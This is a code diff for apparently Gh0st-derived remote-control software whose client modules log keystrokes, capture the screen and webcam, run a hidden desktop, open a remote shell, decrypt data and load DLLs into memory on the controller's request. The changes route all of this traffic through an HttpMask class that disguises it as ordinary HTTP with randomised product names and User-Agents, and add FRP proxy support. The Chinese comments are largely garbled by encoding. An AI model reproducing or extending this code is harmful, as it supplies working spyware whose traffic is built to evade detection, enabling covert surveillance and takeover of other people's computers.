bToken[0] = TOKEN_KEYBOARD_START;
|
bToken[0] = TOKEN_KEYBOARD_START;
|
||||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||||
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken));
|
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -13,7 +13,8 @@
|
|||||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
BYTE bToken=TOKEN_REGEDIT;
|
BYTE bToken=TOKEN_REGEDIT;
|
||||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||||
}
|
}
|
||||||
|
|
||||||
CRegisterManager::~CRegisterManager()
|
CRegisterManager::~CRegisterManager()
|
||||||
|
|||||||
@@ -205,8 +205,6 @@ DWORD WINAPI CScreenManager::WorkThreadProc(LPVOID lParam)
|
|||||||
This->SendFirstScreen();
|
This->SendFirstScreen();
|
||||||
#if USING_ZLIB
|
#if USING_ZLIB
|
||||||
const int fps = 8;// ֡<><D6A1>
|
const int fps = 8;// ֡<><D6A1>
|
||||||
#elif USING_LZ4
|
|
||||||
const int fps = 8;// ֡<><D6A1>
|
|
||||||
#else
|
#else
|
||||||
const int fps = 8;// ֡<><D6A1>
|
const int fps = 8;// ֡<><D6A1>
|
||||||
#endif
|
#endif
|
||||||
@@ -268,7 +266,8 @@ VOID CScreenManager::SendBitMapInfo()
|
|||||||
szBuffer[0] = TOKEN_BITMAPINFO;
|
szBuffer[0] = TOKEN_BITMAPINFO;
|
||||||
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
//<2F><><EFBFBD>ォbmpλͼ<CEBB>ṹ<EFBFBD><E1B9B9><EFBFBD>ͳ<EFBFBD>ȥ
|
||||||
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
memcpy(szBuffer + 1, m_ScreenSpyObject->GetBIData(), ulLength - 1);
|
||||||
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)szBuffer, ulLength, &mask);
|
||||||
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
VirtualFree(szBuffer, 0, MEM_RELEASE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -25,8 +25,8 @@ VOID CServicesManager::SendServicesList()
|
|||||||
LPBYTE szBuffer = GetServicesList();
|
LPBYTE szBuffer = GetServicesList();
|
||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
return;
|
return;
|
||||||
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -96,8 +96,9 @@ CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManag
|
|||||||
m_hShellProcessHandle = pi.hProcess; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
m_hShellProcessHandle = pi.hProcess; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||||
m_hShellThreadHandle = pi.hThread;
|
m_hShellThreadHandle = pi.hThread;
|
||||||
|
|
||||||
BYTE bToken = TOKEN_SHELL_START; //<2F><><EFBFBD><EFBFBD>ͷ<EFBFBD>ļ<EFBFBD> Common.h
|
BYTE bToken = TOKEN_SHELL_START;
|
||||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||||
|
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
|
|
||||||
|
|||||||
@@ -10,13 +10,9 @@
|
|||||||
#define USING_ZLIB 0
|
#define USING_ZLIB 0
|
||||||
|
|
||||||
#if !USING_ZLIB
|
#if !USING_ZLIB
|
||||||
// <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>LZ4
|
|
||||||
#define USING_LZ4 0
|
|
||||||
|
|
||||||
#if !USING_LZ4
|
|
||||||
#define USING_ZSTD 1
|
#define USING_ZSTD 1
|
||||||
#define USING_CTX 1
|
#define USING_CTX 1
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
|
|||||||
@@ -39,7 +39,8 @@ VOID CSystemManager::SendProcessList()
|
|||||||
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
LPBYTE szBuffer = GetProcessList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
return;
|
return;
|
||||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer));
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
|
|
||||||
szBuffer = NULL;
|
szBuffer = NULL;
|
||||||
@@ -50,8 +51,8 @@ void CSystemManager::SendWindowsList()
|
|||||||
LPBYTE szBuffer = GetWindowsList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
LPBYTE szBuffer = GetWindowsList(); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
if (szBuffer == NULL)
|
if (szBuffer == NULL)
|
||||||
return;
|
return;
|
||||||
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer)); //<2F><><EFBFBD><EFBFBD><EFBFBD>ض˷<D8B6><CBB7>͵õ<CDB5><C3B5>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>
|
m_ClientObject->Send2Server((char*)szBuffer, LocalSize(szBuffer), &mask);
|
||||||
LocalFree(szBuffer);
|
LocalFree(szBuffer);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -27,7 +27,8 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n, void* user):CManager
|
|||||||
g_Event = 0;
|
g_Event = 0;
|
||||||
memset(g_Buffer, 0, sizeof(g_Buffer));
|
memset(g_Buffer, 0, sizeof(g_Buffer));
|
||||||
BYTE bToken = TOKEN_TALK_START;
|
BYTE bToken = TOKEN_TALK_START;
|
||||||
m_ClientObject->Send2Server((char*)&bToken, 1);
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
Mprintf("Talk <20><><EFBFBD><EFBFBD>\n");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -43,8 +43,6 @@ DWORD CVideoManager::WorkThread(LPVOID lParam)
|
|||||||
This->WaitForDialogOpen();
|
This->WaitForDialogOpen();
|
||||||
#if USING_ZLIB
|
#if USING_ZLIB
|
||||||
const int fps = 8;// ֡<><D6A1>
|
const int fps = 8;// ֡<><D6A1>
|
||||||
#elif USING_LZ4
|
|
||||||
const int fps = 8;// ֡<><D6A1>
|
|
||||||
#else
|
#else
|
||||||
const int fps = 8;// ֡<><D6A1>
|
const int fps = 8;// ֡<><D6A1>
|
||||||
#endif
|
#endif
|
||||||
@@ -103,7 +101,8 @@ void CVideoManager::SendBitMapInfor()
|
|||||||
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
BYTE szBuffer[dwBytesLength + 3] = { 0 };
|
||||||
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
szBuffer[0] = TOKEN_WEBCAM_BITMAPINFO;
|
||||||
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
memcpy(szBuffer + 1, m_CapVideo.GetBmpInfor(), sizeof(BITMAPINFO));
|
||||||
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength);
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
m_ClientObject->Send2Server((char*)szBuffer, dwBytesLength, &mask);
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL CVideoManager::SendNextScreen()
|
BOOL CVideoManager::SendNextScreen()
|
||||||
|
|||||||
@@ -18,7 +18,8 @@ CProxyManager::CProxyManager(ISocketBase* pClient, int n, void* user) : CManager
|
|||||||
m_nSend = 0;
|
m_nSend = 0;
|
||||||
Threads = 0;
|
Threads = 0;
|
||||||
BYTE cmd = COMMAND_PROXY;
|
BYTE cmd = COMMAND_PROXY;
|
||||||
Send(&cmd, 1);
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
|
pClient->Send2Server((char*)&cmd, 1, &mask);
|
||||||
Mprintf("CProxyManager create: %p\n", this);
|
Mprintf("CProxyManager create: %p\n", this);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -43,13 +44,6 @@ CProxyManager::~CProxyManager()
|
|||||||
Mprintf("CProxyManager destroy: %p\n", this);
|
Mprintf("CProxyManager destroy: %p\n", this);
|
||||||
}
|
}
|
||||||
|
|
||||||
int CProxyManager::Send(LPBYTE lpData, UINT nSize)
|
|
||||||
{
|
|
||||||
if (!m_bUse) return 0;
|
|
||||||
int ret = CManager::Send(lpData, nSize);
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port)
|
void CProxyManager::SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port)
|
||||||
{
|
{
|
||||||
lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT;
|
lpBuffer[0] = TOKEN_PROXY_CONNECT_RESULT;
|
||||||
|
|||||||
@@ -9,7 +9,6 @@ public:
|
|||||||
CProxyManager(ISocketBase* pClient, int n = 0, void* user = nullptr);
|
CProxyManager(ISocketBase* pClient, int n = 0, void* user = nullptr);
|
||||||
virtual ~CProxyManager();
|
virtual ~CProxyManager();
|
||||||
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||||
int Send(LPBYTE lpData, UINT nSize);
|
|
||||||
void Disconnect(DWORD index);
|
void Disconnect(DWORD index);
|
||||||
void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port);
|
void SendConnectResult(LPBYTE lpBuffer, DWORD ip, USHORT port);
|
||||||
static DWORD __stdcall SocksThread(LPVOID lparam);
|
static DWORD __stdcall SocksThread(LPVOID lparam);
|
||||||
|
|||||||
@@ -832,7 +832,8 @@ typedef struct MasterSettings {
|
|||||||
int Is64Bit; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>64λ
|
int Is64Bit; // <20><><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD>64λ
|
||||||
char MasterVersion[12]; // <20><><EFBFBD>ذ汾
|
char MasterVersion[12]; // <20><><EFBFBD>ذ汾
|
||||||
int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
int DetectSoftware; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
char Reserved[476]; // Ԥ<EFBFBD><EFBFBD>
|
int UsingFRPProxy; // <20>Ƿ<EFBFBD>ʹ<EFBFBD><CAB9>FRP<52><50><EFBFBD><EFBFBD>
|
||||||
|
char Reserved[472]; // Ԥ<><D4A4>
|
||||||
}MasterSettings;
|
}MasterSettings;
|
||||||
|
|
||||||
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>
|
// 100<30>ֽ<EFBFBD>: <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> + <20><>С + <20><><EFBFBD>÷<EFBFBD>ʽ + DLL<4C><4C><EFBFBD><EFBFBD>
|
||||||
|
|||||||
@@ -11,6 +11,8 @@ enum PkgMaskType {
|
|||||||
MaskTypeNum,
|
MaskTypeNum,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#define DEFAULT_HOST "example.com"
|
||||||
|
|
||||||
inline ULONG UnMaskHttp(char* src, ULONG srcSize) {
|
inline ULONG UnMaskHttp(char* src, ULONG srcSize) {
|
||||||
const char* header_end_mark = "\r\n\r\n";
|
const char* header_end_mark = "\r\n\r\n";
|
||||||
const ULONG mark_len = 4;
|
const ULONG mark_len = 4;
|
||||||
@@ -49,7 +51,7 @@ public:
|
|||||||
virtual ULONG UnMask(char* src, ULONG srcSize) {
|
virtual ULONG UnMask(char* src, ULONG srcSize) {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
virtual void SetServer(const char* addr) {}
|
virtual PkgMask* SetServer(const std::string& addr) { return this; }
|
||||||
virtual PkgMaskType GetMaskType() const {
|
virtual PkgMaskType GetMaskType() const {
|
||||||
return MaskTypeNone;
|
return MaskTypeNone;
|
||||||
}
|
}
|
||||||
@@ -65,13 +67,17 @@ public:
|
|||||||
* @brief 构造函数
|
* @brief 构造函数
|
||||||
* @param host HTTP Host 头字段
|
* @param host HTTP Host 头字段
|
||||||
*/
|
*/
|
||||||
explicit HttpMask(const std::string& host) : product_(GenerateRandomString()), host_(host) {
|
explicit HttpMask(const std::string& host, const std::map<std::string, std::string>& headers = {}) :
|
||||||
|
product_(GenerateRandomString()), host_(host) {
|
||||||
// 初始化随机数生成器
|
// 初始化随机数生成器
|
||||||
srand(static_cast<unsigned>(time(nullptr)));
|
srand(static_cast<unsigned>(time(nullptr)));
|
||||||
char buf[32];
|
char buf[32];
|
||||||
sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10);
|
sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10);
|
||||||
version_ = buf;
|
version_ = buf;
|
||||||
user_agent_ = GetEnhancedSystemUA(product_, version_);
|
user_agent_ = GetEnhancedSystemUA(product_, version_);
|
||||||
|
for (std::map<std::string, std::string>::const_iterator it = headers.begin(); it != headers.end(); ++it) {
|
||||||
|
headers_ += it->first + ": " + it->second + "\r\n";
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -89,7 +95,7 @@ public:
|
|||||||
"Host: " + host_ + "\r\n"
|
"Host: " + host_ + "\r\n"
|
||||||
"User-Agent: " + user_agent_ + "\r\n"
|
"User-Agent: " + user_agent_ + "\r\n"
|
||||||
"Content-Type: application/octet-stream\r\n"
|
"Content-Type: application/octet-stream\r\n"
|
||||||
"Content-Length: " + std::to_string(srcSize) + "\r\n"
|
"Content-Length: " + std::to_string(srcSize) + "\r\n" + headers_ +
|
||||||
"Connection: keep-alive\r\n"
|
"Connection: keep-alive\r\n"
|
||||||
"\r\n"; // 空行分隔头部和 Body
|
"\r\n"; // 空行分隔头部和 Body
|
||||||
|
|
||||||
@@ -112,8 +118,9 @@ public:
|
|||||||
return UnMaskHttp(src, srcSize);
|
return UnMaskHttp(src, srcSize);
|
||||||
}
|
}
|
||||||
|
|
||||||
void SetServer(const char* addr) {
|
PkgMask* SetServer(const std::string& addr) override {
|
||||||
host_ = addr;
|
host_ = addr;
|
||||||
|
return this;
|
||||||
}
|
}
|
||||||
private:
|
private:
|
||||||
static std::string GetEnhancedSystemUA(const std::string& appName, const std::string& appVersion) {
|
static std::string GetEnhancedSystemUA(const std::string& appName, const std::string& appVersion) {
|
||||||
@@ -144,6 +151,7 @@ private:
|
|||||||
std::string product_; // 产品名称
|
std::string product_; // 产品名称
|
||||||
std::string version_; // 产品版本
|
std::string version_; // 产品版本
|
||||||
std::string user_agent_;// 代理名称
|
std::string user_agent_;// 代理名称
|
||||||
|
std::string headers_; // 自定义请求头
|
||||||
|
|
||||||
/** 生成随机 URL 路径 */
|
/** 生成随机 URL 路径 */
|
||||||
std::string GenerateRandomString(int size = 8) const {
|
std::string GenerateRandomString(int size = 8) const {
|
||||||
|
|||||||
@@ -1009,7 +1009,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
}
|
}
|
||||||
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
|
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
|
||||||
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
|
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
|
||||||
m_settings = { m, sizeof(void*) == 8, __DATE__, n };
|
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
|
||||||
|
m_settings = { m, sizeof(void*) == 8, __DATE__, n, usingFRP };
|
||||||
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
|
std::map<int, std::string> myMap = {{SOFTWARE_CAMERA, "摄像头"}, {SOFTWARE_TELEGRAM, "电报" }};
|
||||||
std::string str = myMap[n];
|
std::string str = myMap[n];
|
||||||
LVCOLUMN lvColumn;
|
LVCOLUMN lvColumn;
|
||||||
@@ -1037,11 +1038,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
|||||||
ShowMessage("使用提示", tip);
|
ShowMessage("使用提示", tip);
|
||||||
|
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
if (!master.empty()) {
|
if (usingFRP) {
|
||||||
int use = THIS_CFG.GetInt("frp", "UseFrp");
|
m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL);
|
||||||
if (use) {
|
|
||||||
m_hFRPThread = CreateThread(NULL, 0, StartFrpClient, this, NULL, NULL);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
@@ -1966,10 +1964,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
}
|
}
|
||||||
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
unsigned cmd = ContextObject->InDeCompressedBuffer.GetBYTE(0);
|
||||||
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
|
unsigned len = ContextObject->InDeCompressedBuffer.GetBufferLen();
|
||||||
|
// 【L】:主机上下线和授权
|
||||||
|
// 【x】:对话框相关功能
|
||||||
switch (cmd)
|
switch (cmd)
|
||||||
{
|
{
|
||||||
case TOKEN_GETVERSION: // 获取版本
|
case TOKEN_GETVERSION: // 获取版本【L】
|
||||||
{
|
{
|
||||||
// TODO 维持心跳
|
// TODO 维持心跳
|
||||||
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
|
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
|
||||||
@@ -1983,7 +1982,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
SAFE_DELETE_ARRAY(resp);
|
SAFE_DELETE_ARRAY(resp);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case CMD_AUTHORIZATION: // 获取授权
|
case CMD_AUTHORIZATION: // 获取授权【L】
|
||||||
{
|
{
|
||||||
int n = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
int n = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||||||
if (n < 100) break;
|
if (n < 100) break;
|
||||||
@@ -2024,7 +2023,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
Sleep(20);
|
Sleep(20);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case CMD_EXECUTE_DLL: // 请求DLL
|
case CMD_EXECUTE_DLL: // 请求DLL(执行代码)【L】
|
||||||
{
|
{
|
||||||
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
|
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
|
||||||
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
|
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
|
||||||
@@ -2038,15 +2037,15 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
Sleep(20);
|
Sleep(20);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case COMMAND_PROXY:
|
case COMMAND_PROXY:// 代理映射【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_HEARTBEAT: case 137:
|
case TOKEN_HEARTBEAT: case 137: // 心跳【L】
|
||||||
UpdateActiveWindow(ContextObject);
|
UpdateActiveWindow(ContextObject);
|
||||||
break;
|
break;
|
||||||
case SOCKET_DLLLOADER: {// 请求DLL
|
case SOCKET_DLLLOADER: {// 请求DLL【L】
|
||||||
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||||||
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
|
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
|
||||||
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
|
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
|
||||||
@@ -2063,95 +2062,95 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
|
SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case COMMAND_BYE: // 主机下线
|
case COMMAND_BYE: // 主机下线【L】
|
||||||
{
|
{
|
||||||
CancelIo((HANDLE)ContextObject->sClientSocket);
|
CancelIo((HANDLE)ContextObject->sClientSocket);
|
||||||
closesocket(ContextObject->sClientSocket);
|
closesocket(ContextObject->sClientSocket);
|
||||||
Sleep(10);
|
Sleep(10);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_DRAWING_BOARD:
|
case TOKEN_DRAWING_BOARD:// 远程画板【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理
|
case TOKEN_DRIVE_LIST_PLUGIN: // 文件管理【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面
|
case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面【x】
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_SYSINFOLIST: { // 主机管理
|
case TOKEN_SYSINFOLIST: { // 主机管理【x】
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_CHAT_START: { // 远程交谈
|
case TOKEN_CHAT_START: { // 远程交谈【x】
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_DECRYPT: { // 解密数据
|
case TOKEN_DECRYPT: { // 解密数据【x】
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_KEYBOARD_START: {// 键盘记录
|
case TOKEN_KEYBOARD_START: {// 键盘记录【x】
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_LOGIN: // 上线包
|
case TOKEN_LOGIN: // 上线包【L】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_BITMAPINFO: // 远程桌面
|
case TOKEN_BITMAPINFO: // 远程桌面【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_DRIVE_LIST: // 文件管理
|
case TOKEN_DRIVE_LIST: // 文件管理【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_TALK_START: // 发送消息
|
case TOKEN_TALK_START: // 发送消息【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_SHELL_START: // 远程终端
|
case TOKEN_SHELL_START: // 远程终端【x】
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case TOKEN_WSLIST: // 窗口管理
|
case TOKEN_WSLIST: // 窗口管理【x】
|
||||||
case TOKEN_PSLIST: // 进程管理
|
